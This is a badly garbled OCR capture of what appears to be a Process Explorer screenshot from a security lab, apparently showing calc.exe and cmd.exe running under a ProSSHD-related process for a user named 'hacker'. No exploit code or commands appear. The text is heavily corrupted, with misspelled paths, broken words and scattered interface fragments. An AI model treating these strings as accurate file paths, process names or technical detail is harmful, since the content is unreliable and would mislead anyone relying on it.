B Teariiewer_Service.exe I "C1\Pragram FilesiLab-MC\ProSSHD wpsetts, exe” i
[ lsass.exe erzion]
E idpclip.exe Current directary:
E CElss BME I C:'I,F'rn:-gram FIlESIﬁLEll:I-N':lllF'rCISSHDIL lime Proce
= ﬂ winlagon. exe Autostart Location: b Applic:
[ logonui. exe I e e | I
¥ logon.sor er
= t'l'e:-:plnrer.e:-:e Parent:  explorer.exe(2036) _ _
wrmtoolzd. exe Yerify | e Service
F- cHimon exe ser: HACKER-4E77 1252 hacker
B cmd.exe Started:  2:58:26 PM 7/26/2013 ETIE) D e | d Proces
L procesp.exe ; zz Explar
@xwpsetts.exe Comment: || Kill Process | n
5] | Cmd'E_HE Data Execution Prevention (DEP) Stakus: d Proces
B & nainw 7 exe
{5 noina? exe
Qf’ notepad++.exe e [GHLU] =
£ calo.exe (] 4 I Cancel
\CPU Usage: 0.00%  Commit Charge: 44.4€ v
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Finito

SECURITY

Questions?
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